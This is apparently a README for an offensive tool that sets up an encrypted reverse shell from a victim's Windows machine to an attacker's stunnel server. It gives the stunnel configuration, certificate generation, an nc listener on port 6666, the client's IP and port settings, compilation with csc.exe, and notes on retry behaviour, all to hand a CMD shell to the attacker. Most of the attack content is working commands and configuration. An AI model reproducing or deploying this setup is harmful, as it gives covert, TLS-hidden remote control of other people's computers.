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STunnell_RevShell

A Reverse shell through Stunnel.

Architecture

  • Client Net4.8 C#
  • Server Stunnell4

Scenario:

Client is the victim, that executes the connection to the server (attacker) that serves stunnell. Server is the attacker running stunnel4. Follows the configuration:

cat /etc/stunnel/stunnel.conf 
[nc]
client = no
accept = 9999
connect = 127.0.0.1:6666
cert = /etc/stunnel/stunnel.pem

Here we set stunnel listening for incoming connection on port 9999. This connection is encrypted, then forwards the stream to port 6666 where we will have nc listening. This flow is not encrypted of course.

Create the certificate on the server

openssl genrsa -out key.pem 2048
openssl req -new -x509 -key key.pem -out cert.pem -days 1095
cat key.pem cert.pem > /etc/stunnel/stunnel.pem

Start stunnell

service stunnel4 start

Check if works:

sudo service stunnel4 status
● stunnel4.service - LSB: Start or stop stunnel 4.x (TLS tunnel for network daemons)
     Loaded: loaded (/etc/init.d/stunnel4; generated)
     Active: active (running) since Tue 2024-05-21 22:11:47 CEST; 5s ago
       Docs: man:systemd-sysv-generator(8)
    Process: 133285 ExecStart=/etc/init.d/stunnel4 start (code=exited, status=0/SUCCESS)
      Tasks: 3 (limit: 9398)
     Memory: 4.2M (peak: 4.6M)
        CPU: 241ms
 	CGroup: /system.slice/stunnel4.service
         └─133301 /usr/bin/stunnel4 /etc/stunnel/stunnel.conf

Verify stunnell port is listening:

netstat -tulp | grep 9999
  Active Internet connections (only servers)
  Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
  tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN      19338/stunnel4
  ...

Then we can lunch nc to listen on port 6666 as configurated on stunnel

nc -lvp 6666

Configure the client

Set the Stunnell server and port around line 50:

//CONFIG THIS: point to the Stunell server
    string IP = "192.168.1.2";
    int PORT = 9999;

TLS configuration

The client use TLS 1.3 (teseted on windows 11) to connect to the server:

sslStream.AuthenticateAsClient("host.local", 
	new X509CertificateCollection(), 
	SslProtocols.Tls13, 
	false);

Compile the client

Youn can compile the client as follows:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe STunnel_RevShell.cs

Executing Program.exe we should read the following on the shell

ver 1.0 Coded by GuerraIT
ver 1.1 Modified by Zinzloun (support TLS 1.3)

Using the following connection 192.168.1.7:9999
Certificate revocation list checked: False
Remote cert was issued to CN=xxxxxx ......

The you shoud get a CMD shell on the attacker

Exception: missing server connection

nc is not listening on the server

Since the client app can connect to Stunnell but not to nc, it will continue to send requests to the server. You will see on the console the certificate info looping:

...
Certificate revocation list checked: False
Remote cert was issued to CN=xxxx....
Certificate revocation list checked: False
Remote cert was issued to CN=xxxx....
Certificate revocation list checked: False
Remote cert was issued to CN=xxxx....
...

At soon as the nc listener is started on the server the client will connect immediately, stopping to print the certificate information; you will get the shell.

Stunnell service is not reachable

In this case the client will keep to try to connect to Stunnel. You won't get the certificate information printed in this case, only the following line:

...
Using the following connection 192.168.1.7:9999

As soon as the client can connect to Stunnel the app will switch to the previous state (looping certificate info printend on the screen). If nc listener is also started on the server you will get a shell.

Trouble shooting on Kali

If you get the following error re-starting stunnel:

sudo service stunnel4 status
...
Active: failed (Result: exit-code) since Tue 2024-05-21 22:04:54 CEST; 2min 21s ago
stunnel4.service: Failed with result 'exit-code'.
stunnel4.service: Unit process 52254 (stunnel4) remains running after unit stopped.

It seems a bug on Debian related to the PID file, to solve try to manually kill the related process

sudo kill -9 52254

Then restart the service